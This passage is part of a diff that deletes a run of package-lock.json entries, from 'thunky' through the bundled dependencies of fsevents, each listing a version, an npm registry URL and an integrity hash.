-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "thunky": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
-      "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA=="
-    },
-    "timers-browserify": {
-      "version": "2.0.11",
-      "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz",
-      "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==",
-      "requires": {
-        "setimmediate": "^1.0.4"
-      }
-    },
-    "timsort": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz",
-      "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q="
-    },
-    "tmp": {
-      "version": "0.0.33",
-      "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
-      "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
-      "requires": {
-        "os-tmpdir": "~1.0.2"
-      }
-    },
-    "tmpl": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.4.tgz",
-      "integrity": "sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE="
-    },
-    "to-arraybuffer": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz",
-      "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M="
-    },
-    "to-fast-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
-      "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4="
-    },
-    "to-object-path": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
-      "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=",
-      "requires": {
-        "kind-of": "^3.0.2"
-      }
-    },
-    "to-regex": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
-      "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
-      "requires": {
-        "define-property": "^2.0.2",
-        "extend-shallow": "^3.0.2",
-        "regex-not": "^1.0.2",
-        "safe-regex": "^1.1.0"
-      }
-    },
-    "to-regex-range": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
-      "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-      "requires": {
-        "is-number": "^3.0.0",
-        "repeat-string": "^1.6.1"
-      }
-    },
-    "toidentifier": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
-      "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw=="
-    },
-    "tough-cookie": {
-      "version": "2.5.0",
-      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
-      "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
-      "requires": {
-        "psl": "^1.1.28",
-        "punycode": "^2.1.1"
-      }
-    },
-    "tr46": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
-      "integrity": "sha1-qLE/1r/SSJUZZ0zN5VujaTtwbQk=",
-      "requires": {
-        "punycode": "^2.1.0"
-      }
-    },
-    "ts-pnp": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/ts-pnp/-/ts-pnp-1.1.6.tgz",
-      "integrity": "sha512-CrG5GqAAzMT7144Cl+UIFP7mz/iIhiy+xQ6GGcnjTezhALT02uPMRw7tgDSESgB5MsfKt55+GPWw4ir1kVtMIQ=="
-    },
-    "tslib": {
-      "version": "1.11.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz",
-      "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA=="
-    },
-    "tsutils": {
-      "version": "3.17.1",
-      "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.17.1.tgz",
-      "integrity": "sha512-kzeQ5B8H3w60nFY2g8cJIuH7JDpsALXySGtwGJ0p2LSjLgay3NdIpqq5SoOBe46bKDW2iq25irHCr8wjomUS2g==",
-      "requires": {
-        "tslib": "^1.8.1"
-      }
-    },
-    "tty-browserify": {
-      "version": "0.0.0",
-      "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.0.tgz",
-      "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY="
-    },
-    "tunnel-agent": {
-      "version": "0.6.0",
-      "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
-      "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
-      "requires": {
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "tweetnacl": {
-      "version": "0.14.5",
-      "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
-      "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q="
-    },
-    "type": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz",
-      "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg=="
-    },
-    "type-check": {
-      "version": "0.3.2",
-      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
-      "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
-      "requires": {
-        "prelude-ls": "~1.1.2"
-      }
-    },
-    "type-fest": {
-      "version": "0.8.1",
-      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
-      "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA=="
-    },
-    "type-is": {
-      "version": "1.6.18",
-      "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
-      "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
-      "requires": {
-        "media-typer": "0.3.0",
-        "mime-types": "~2.1.24"
-      }
-    },
-    "typedarray": {
-      "version": "0.0.6",
-      "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
-      "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c="
-    },
-    "unicode-canonical-property-names-ecmascript": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz",
-      "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ=="
-    },
-    "unicode-match-property-ecmascript": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz",
-      "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==",
-      "requires": {
-        "unicode-canonical-property-names-ecmascript": "^1.0.4",
-        "unicode-property-aliases-ecmascript": "^1.0.4"
-      }
-    },
-    "unicode-match-property-value-ecmascript": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz",
-      "integrity": "sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ=="
-    },
-    "unicode-property-aliases-ecmascript": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz",
-      "integrity": "sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg=="
-    },
-    "union-value": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
-      "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
-      "requires": {
-        "arr-union": "^3.1.0",
-        "get-value": "^2.0.6",
-        "is-extendable": "^0.1.1",
-        "set-value": "^2.0.1"
-      }
-    },
-    "uniq": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz",
-      "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8="
-    },
-    "uniqs": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/uniqs/-/uniqs-2.0.0.tgz",
-      "integrity": "sha1-/+3ks2slKQaW5uFl1KWe25mOawI="
-    },
-    "unique-filename": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
-      "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
-      "requires": {
-        "unique-slug": "^2.0.0"
-      }
-    },
-    "unique-slug": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
-      "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==",
-      "requires": {
-        "imurmurhash": "^0.1.4"
-      }
-    },
-    "universalify": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
-      "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="
-    },
-    "unpipe": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
-      "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw="
-    },
-    "unquote": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz",
-      "integrity": "sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ="
-    },
-    "unset-value": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
-      "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=",
-      "requires": {
-        "has-value": "^0.3.1",
-        "isobject": "^3.0.0"
-      },
-      "dependencies": {
-        "has-value": {
-          "version": "0.3.1",
-          "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
-          "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=",
-          "requires": {
-            "get-value": "^2.0.3",
-            "has-values": "^0.1.4",
-            "isobject": "^2.0.0"
-          },
-          "dependencies": {
-            "isobject": {
-              "version": "2.1.0",
-              "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
-              "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=",
-              "requires": {
-                "isarray": "1.0.0"
-              }
-            }
-          }
-        },
-        "has-values": {
-          "version": "0.1.4",
-          "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
-          "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E="
-        }
-      }
-    },
-    "upath": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
-      "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg=="
-    },
-    "uri-js": {
-      "version": "4.2.2",
-      "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz",
-      "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==",
-      "requires": {
-        "punycode": "^2.1.0"
-      }
-    },
-    "urix": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
-      "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI="
-    },
-    "url": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz",
-      "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=",
-      "requires": {
-        "punycode": "1.3.2",
-        "querystring": "0.2.0"
-      },
-      "dependencies": {
-        "punycode": {
-          "version": "1.3.2",
-          "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz",
-          "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0="
-        }
-      }
-    },
-    "url-loader": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-2.3.0.tgz",
-      "integrity": "sha512-goSdg8VY+7nPZKUEChZSEtW5gjbS66USIGCeSJ1OVOJ7Yfuh/36YxCwMi5HVEJh6mqUYOoy3NJ0vlOMrWsSHog==",
-      "requires": {
-        "loader-utils": "^1.2.3",
-        "mime": "^2.4.4",
-        "schema-utils": "^2.5.0"
-      }
-    },
-    "url-parse": {
-      "version": "1.4.7",
-      "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.7.tgz",
-      "integrity": "sha512-d3uaVyzDB9tQoSXFvuSUNFibTd9zxd2bkVrDRvF5TmvWWQwqE4lgYJ5m+x1DbecWkw+LK4RNl2CU1hHuOKPVlg==",
-      "requires": {
-        "querystringify": "^2.1.1",
-        "requires-port": "^1.0.0"
-      }
-    },
-    "use": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
-      "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ=="
-    },
-    "util": {
-      "version": "0.10.3",
-      "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz",
-      "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=",
-      "requires": {
-        "inherits": "2.0.1"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz",
-          "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE="
-        }
-      }
-    },
-    "util-deprecate": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
-      "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
-    },
-    "util.promisify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz",
-      "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.2",
-        "has-symbols": "^1.0.1",
-        "object.getownpropertydescriptors": "^2.1.0"
-      }
-    },
-    "utila": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz",
-      "integrity": "sha1-ihagXURWV6Oupe7MWxKk+lN5dyw="
-    },
-    "utils-merge": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
-      "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM="
-    },
-    "uuid": {
-      "version": "3.4.0",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
-      "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
-    },
-    "v8-compile-cache": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.1.0.tgz",
-      "integrity": "sha512-usZBT3PW+LOjM25wbqIlZwPeJV+3OSz3M1k1Ws8snlW39dZyYL9lOGC5FgPVHfk0jKmjiDV8Z0mIbVQPiwFs7g=="
-    },
-    "validate-npm-package-license": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
-      "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
-      "requires": {
-        "spdx-correct": "^3.0.0",
-        "spdx-expression-parse": "^3.0.0"
-      }
-    },
-    "vary": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
-      "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw="
-    },
-    "vendors": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/vendors/-/vendors-1.0.4.tgz",
-      "integrity": "sha512-/juG65kTL4Cy2su4P8HjtkTxk6VmJDiOPBufWniqQ6wknac6jNiXS9vU+hO3wgusiyqWlzTbVHi0dyJqRONg3w=="
-    },
-    "verror": {
-      "version": "1.10.0",
-      "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
-      "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
-      "requires": {
-        "assert-plus": "^1.0.0",
-        "core-util-is": "1.0.2",
-        "extsprintf": "^1.2.0"
-      }
-    },
-    "vm-browserify": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz",
-      "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ=="
-    },
-    "w3c-hr-time": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
-      "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
-      "requires": {
-        "browser-process-hrtime": "^1.0.0"
-      }
-    },
-    "w3c-xmlserializer": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-1.1.2.tgz",
-      "integrity": "sha512-p10l/ayESzrBMYWRID6xbuCKh2Fp77+sA0doRuGn4tTIMrrZVeqfpKjXHY+oDh3K4nLdPgNwMTVP6Vp4pvqbNg==",
-      "requires": {
-        "domexception": "^1.0.1",
-        "webidl-conversions": "^4.0.2",
-        "xml-name-validator": "^3.0.0"
-      }
-    },
-    "wait-for-expect": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/wait-for-expect/-/wait-for-expect-3.0.2.tgz",
-      "integrity": "sha512-cfS1+DZxuav1aBYbaO/kE06EOS8yRw7qOFoD3XtjTkYvCvh3zUvNST8DXK/nPaeqIzIv3P3kL3lRJn8iwOiSag=="
-    },
-    "walker": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.7.tgz",
-      "integrity": "sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=",
-      "requires": {
-        "makeerror": "1.0.x"
-      }
-    },
-    "watchpack": {
-      "version": "1.6.1",
-      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.1.tgz",
-      "integrity": "sha512-+IF9hfUFOrYOOaKyfaI7h7dquUIOgyEMoQMLA7OP5FxegKA2+XdXThAZ9TU2kucfhDH7rfMHs1oPYziVGWRnZA==",
-      "requires": {
-        "chokidar": "^2.1.8",
-        "graceful-fs": "^4.1.2",
-        "neo-async": "^2.5.0"
-      },
-      "dependencies": {
-        "binary-extensions": {
-          "version": "1.13.1",
-          "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz",
-          "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw=="
-        },
-        "chokidar": {
-          "version": "2.1.8",
-          "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
-          "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
-          "requires": {
-            "anymatch": "^2.0.0",
-            "async-each": "^1.0.1",
-            "braces": "^2.3.2",
-            "fsevents": "^1.2.7",
-            "glob-parent": "^3.1.0",
-            "inherits": "^2.0.3",
-            "is-binary-path": "^1.0.0",
-            "is-glob": "^4.0.0",
-            "normalize-path": "^3.0.0",
-            "path-is-absolute": "^1.0.0",
-            "readdirp": "^2.2.1",
-            "upath": "^1.1.1"
-          }
-        },
-        "fsevents": {
-          "version": "1.2.12",
-          "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.12.tgz",
-          "integrity": "sha512-Ggd/Ktt7E7I8pxZRbGIs7vwqAPscSESMrCSkx2FtWeqmheJgCo2R74fTsZFCifr0VTPwqRpPv17+6b8Zp7th0Q==",
-          "optional": true,
-          "requires": {
-            "bindings": "^1.5.0",
-            "nan": "^2.12.1",
-            "node-pre-gyp": "*"
-          },
-          "dependencies": {
-            "abbrev": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "ansi-regex": {
-              "version": "2.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "aproba": {
-              "version": "1.2.0",
-              "bundled": true,
-              "optional": true
-            },
-            "are-we-there-yet": {
-              "version": "1.1.5",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "delegates": "^1.0.0",
-                "readable-stream": "^2.0.6"
-              }
-            },
-            "balanced-match": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "brace-expansion": {
-              "version": "1.1.11",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "balanced-match": "^1.0.0",
-                "concat-map": "0.0.1"
-              }
-            },
-            "chownr": {
-              "version": "1.1.4",
-              "bundled": true,
-              "optional": true
-            },
-            "code-point-at": {
-              "version": "1.1.0",
-              "bundled": true,
-              "optional": true
-            },
-            "concat-map": {
-              "version": "0.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "console-control-strings": {
-              "version": "1.1.0",
-              "bundled": true,
-              "optional": true
-            },
-            "core-util-is": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "debug": {
-              "version": "3.2.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ms": "^2.1.1"
-              }
-            },
-            "deep-extend": {
-              "version": "0.6.0",
-              "bundled": true,
-              "optional": true
-            },
-            "delegates": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "detect-libc": {
-              "version": "1.0.3",
-              "bundled": true,
-              "optional": true
-            },
-            "fs-minipass": {
-              "version": "1.2.7",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minipass": "^2.6.0"
-              }
-            },
-            "fs.realpath": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "gauge": {
-              "version": "2.7.4",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "aproba": "^1.0.3",
-                "console-control-strings": "^1.0.0",
-                "has-unicode": "^2.0.0",
-                "object-assign": "^4.1.0",
-                "signal-exit": "^3.0.0",
-                "string-width": "^1.0.1",
-                "strip-ansi": "^3.0.1",
-                "wide-align": "^1.1.0"
-              }
-            },
-            "glob": {
-              "version": "7.1.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "fs.realpath": "^1.0.0",
-                "inflight": "^1.0.4",
-                "inherits": "2",
-                "minimatch": "^3.0.4",
-                "once": "^1.3.0",
-                "path-is-absolute": "^1.0.0"
-              }
-            },
-            "has-unicode": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "iconv-lite": {
-              "version": "0.4.24",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safer-buffer": ">= 2.1.2 < 3"
-              }
-            },
-            "ignore-walk": {
-              "version": "3.0.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minimatch": "^3.0.4"
-              }
-            },
-            "inflight": {
-              "version": "1.0.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "once": "^1.3.0",
-                "wrappy": "1"
-              }
-            },
-            "inherits": {
-              "version": "2.0.4",
-              "bundled": true,
-              "optional": true
-            },
-            "ini": {
-              "version": "1.3.5",
-              "bundled": true,
-              "optional": true
-            },
-            "is-fullwidth-code-point": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "number-is-nan": "^1.0.0"
-              }
-            },
-            "isarray": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "minimatch": {
-              "version": "3.0.4",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "brace-expansion": "^1.1.7"
-              }
-            },
-            "minimist": {
-              "version": "1.2.5",
-              "bundled": true,
-              "optional": true
-            },
-            "minipass": {
-              "version": "2.9.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safe-buffer": "^5.1.2",
-                "yallist": "^3.0.0"
-              }
-            },
-            "minizlib": {
-              "version": "1.3.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minipass": "^2.9.0"
-              }
-            },
-            "mkdirp": {
-              "version": "0.5.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minimist": "^1.2.5"
-              }
-            },
-            "ms": {
-              "version": "2.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "needle": {
-              "version": "2.3.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "debug": "^3.2.6",
-                "iconv-lite": "^0.4.4",
-                "sax": "^1.2.4"
-              }
-            },
-            "node-pre-gyp": {
-              "version": "0.14.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "detect-libc": "^1.0.2",
-                "mkdirp": "^0.5.1",
-                "needle": "^2.2.1",
-                "nopt": "^4.0.1",
-                "npm-packlist": "^1.1.6",
-                "npmlog": "^4.0.2",
-                "rc": "^1.2.7",
-                "rimraf": "^2.6.1",
-                "semver": "^5.3.0",
-                "tar": "^4.4.2"
-              }
-            },
-            "nopt": {
-              "version": "4.0.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "abbrev": "1",
-                "osenv": "^0.1.4"
-              }
-            },
-            "npm-bundled": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "npm-normalize-package-bin": "^1.0.1"
-              }
-            },
-            "npm-normalize-package-bin": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "npm-packlist": {
-              "version": "1.4.8",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ignore-walk": "^3.0.1",
-                "npm-bundled": "^1.0.1",
-                "npm-normalize-package-bin": "^1.0.1"
-              }
-            },
-            "npmlog": {
-              "version": "4.1.2",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "are-we-there-yet": "~1.1.2",
-                "console-control-strings": "~1.1.0",
-                "gauge": "~2.7.3",
-                "set-blocking": "~2.0.0"
-              }
-            },
-            "number-is-nan": {
-              "version": "1.0.1",
-              "bundled": true,
